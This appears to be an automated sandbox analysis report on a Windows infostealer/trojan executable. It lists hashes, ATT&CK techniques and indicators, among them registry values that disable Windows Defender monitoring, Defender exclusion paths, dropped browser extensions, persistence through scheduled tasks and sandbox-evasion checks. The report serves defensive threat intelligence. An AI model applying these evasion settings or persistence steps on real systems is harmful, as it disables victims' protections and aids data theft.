a931321cee3ec87fa67636c1bec5907efbeb18c5e013b9cbe170e5b5c5dfc7d0

Analysis

max time kernel
235s
max time network
236s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
01-07-2024 05:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a931321cee3ec87fa67636c1bec5907efbeb18c5e013b9cbe170e5b5c5dfc7d0.exe
Size

7.2MB
MD5

decb7189d9089b7d45706c427a5ee4a8
SHA1

050a6748764d8ba6ccebe944721422885a31caf6
SHA256

a931321cee3ec87fa67636c1bec5907efbeb18c5e013b9cbe170e5b5c5dfc7d0
SHA512

cc280c7d2d0904ccfba8317a7592cbc6399b4d4cb303114fa5df9d1c3e9e6310ec0acfbd15e53dbd6249b93d0bc7171ff158b5d8655463dadcc1815192f65afe
SSDEEP

196608:91OV3xCL8rggS1o6XvRSBQfYkIMMfXMfQqJzF19DjAp:3OZa931ofHkIM2MIqF+p

Score

10^/10

discovery evasion execution spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

Processes:

reg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 40 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\NNMAoTKMcAkAC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\MIUMVdEgyTUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\rPikKiIbwrQGukIChiR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\WZpWNMsDzSAcKsSA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\MIUMVdEgyTUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\NNMAoTKMcAkAC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\WZpWNMsDzSAcKsSA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\rPikKiIbwrQGukIChiR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\rUfZlqUIdWiU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\fHdtCMTPryqSDgVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\bBBSFQQZU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\bBBSFQQZU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\rUfZlqUIdWiU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\fHdtCMTPryqSDgVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\WZpWNMsDzSAcKsSA = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\WZpWNMsDzSAcKsSA = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Blocklisted process makes network request 1 IoCs

Processes:

rundll32.exe

flow pid process

27 1504 rundll32.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.EXEpowershell.EXEpowershell.exepowershell.EXEpowershell.exepowershell.exe

pid process

2108 powershell.exe
2252 powershell.EXE
768 powershell.EXE
3012 powershell.exe
1664 powershell.EXE
2332 powershell.exe
2284 powershell.exe

flow	pid	process
27	1504	rundll32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

rundll32.exeInstall.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

nDgzJqR.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Control Panel\International\Geo\Nation nDgzJqR.exe
Executes dropped EXE 4 IoCs

Processes:

Install.exeInstall.exesfKiDDY.exenDgzJqR.exe

pid process

3016 Install.exe
2132 Install.exe
1728 sfKiDDY.exe
1412 nDgzJqR.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Control Panel\International\Geo\Nation	nDgzJqR.exe

pid	process
3016	Install.exe
2132	Install.exe
1728	sfKiDDY.exe
1412	nDgzJqR.exe

Loads dropped DLL 23 IoCs

Processes:

a931321cee3ec87fa67636c1bec5907efbeb18c5e013b9cbe170e5b5c5dfc7d0.exeInstall.exeInstall.exeWerFault.exerundll32.exeWerFault.exeWerFault.exe

pid	process
2968	a931321cee3ec87fa67636c1bec5907efbeb18c5e013b9cbe170e5b5c5dfc7d0.exe
3016	Install.exe
3016	Install.exe
3016	Install.exe
3016	Install.exe
2132	Install.exe
2132	Install.exe
2132	Install.exe
1860	WerFault.exe
1860	WerFault.exe
1860	WerFault.exe
1504	rundll32.exe
1504	rundll32.exe
1504	rundll32.exe
1504	rundll32.exe
1732	WerFault.exe
1732	WerFault.exe
1732	WerFault.exe
1732	WerFault.exe
1732	WerFault.exe
2160	WerFault.exe
2160	WerFault.exe
2160	WerFault.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops Chrome extension 2 IoCs

Processes:

nDgzJqR.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json	nDgzJqR.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	nDgzJqR.exe

Drops file in System32 directory 24 IoCs

Processes:

sfKiDDY.exepowershell.EXEpowershell.exenDgzJqR.exepowershell.exerundll32.exepowershell.exepowershell.EXEpowershell.exepowershell.EXE

description	ioc	process
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	sfKiDDY.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	sfKiDDY.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	nDgzJqR.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\05DDC6AA91765AACACDB0A5F96DF8199	nDgzJqR.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_76B4AC942398240FF309817636D6DBC9	nDgzJqR.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_D55A76EA86A3695733B952639E5D4848	nDgzJqR.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	nDgzJqR.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	nDgzJqR.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_76B4AC942398240FF309817636D6DBC9	nDgzJqR.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	nDgzJqR.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DDE8B1B7E253A9758EC380BD648952AF_A3D4688236962EEA03574DE4F61B95D9	nDgzJqR.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_D55A76EA86A3695733B952639E5D4848	nDgzJqR.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	rundll32.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	sfKiDDY.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	sfKiDDY.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199	nDgzJqR.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DDE8B1B7E253A9758EC380BD648952AF_A3D4688236962EEA03574DE4F61B95D9	nDgzJqR.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Drops file in Program Files directory 13 IoCs

Processes:

nDgzJqR.exe

description	ioc	process
File created	C:\Program Files (x86)\rUfZlqUIdWiU2\oPeZBpVtvOWjX.dll	nDgzJqR.exe
File created	C:\Program Files (x86)\rUfZlqUIdWiU2\BvMjMeI.xml	nDgzJqR.exe
File created	C:\Program Files (x86)\rPikKiIbwrQGukIChiR\KXrnhDm.xml	nDgzJqR.exe
File created	C:\Program Files (x86)\MIUMVdEgyTUn\zjDHlZN.dll	nDgzJqR.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	nDgzJqR.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	nDgzJqR.exe
File created	C:\Program Files (x86)\rPikKiIbwrQGukIChiR\kHsrYkH.dll	nDgzJqR.exe
File created	C:\Program Files (x86)\bBBSFQQZU\PZptOj.dll	nDgzJqR.exe
File created	C:\Program Files (x86)\NNMAoTKMcAkAC\vgMJoSr.dll	nDgzJqR.exe
File created	C:\Program Files (x86)\NNMAoTKMcAkAC\reBcspO.xml	nDgzJqR.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	nDgzJqR.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	nDgzJqR.exe
File created	C:\Program Files (x86)\bBBSFQQZU\SJvSgHN.xml	nDgzJqR.exe

Drops file in Windows directory 4 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\MRaTohzfdszDuijXP.job	schtasks.exe
File created	C:\Windows\Tasks\bUVDAOPnPkUhchiViu.job	schtasks.exe
File created	C:\Windows\Tasks\MhsnVFKWmmyXGZkTD.job	schtasks.exe
File created	C:\Windows\Tasks\LVynAQLCTpGcVPg.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 3 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exe

pid pid_target process target process

1860 1728 WerFault.exe sfKiDDY.exe
1732 2132 WerFault.exe Install.exe
2160 1412 WerFault.exe nDgzJqR.exe

pid	pid_target	process	target process
1860	1728	WerFault.exe	sfKiDDY.exe
1732	2132	WerFault.exe	Install.exe
2160	1412	WerFault.exe	nDgzJqR.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

rundll32.exeInstall.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

nDgzJqR.exesfKiDDY.exewscript.exerundll32.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-ee-0b-4f-68-e6	nDgzJqR.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-ee-0b-4f-68-e6\WpadDecisionReason = "1"	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached	sfKiDDY.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	nDgzJqR.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	nDgzJqR.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	nDgzJqR.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	nDgzJqR.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	sfKiDDY.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	nDgzJqR.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 90712abc74cbda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	nDgzJqR.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	nDgzJqR.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{66AAA448-8751-48C8-A475-36AD1E9C25A6}\WpadDecisionTime = 309761ce74cbda01	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	nDgzJqR.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0099000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	nDgzJqR.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	nDgzJqR.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-ee-0b-4f-68-e6\WpadDecision = "0"	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0099000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-ee-0b-4f-68-e6\WpadDecisionTime = 309761ce74cbda01	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	nDgzJqR.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	nDgzJqR.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{66AAA448-8751-48C8-A475-36AD1E9C25A6}\32-ee-0b-4f-68-e6	nDgzJqR.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 12 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
2640	schtasks.exe
2616	schtasks.exe
2952	schtasks.exe
708	schtasks.exe
2932	schtasks.exe
1124	schtasks.exe
1100	schtasks.exe
1600	schtasks.exe
1588	schtasks.exe
2744	schtasks.exe
2188	schtasks.exe
2596	schtasks.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

Processes:

powershell.exepowershell.EXEpowershell.EXEpowershell.exepowershell.EXEnDgzJqR.exepowershell.exepowershell.exe

pid	process
2108	powershell.exe
2252	powershell.EXE
2252	powershell.EXE
2252	powershell.EXE
768	powershell.EXE
768	powershell.EXE
768	powershell.EXE
3012	powershell.exe
1664	powershell.EXE
1664	powershell.EXE
1664	powershell.EXE
1412	nDgzJqR.exe
1412	nDgzJqR.exe
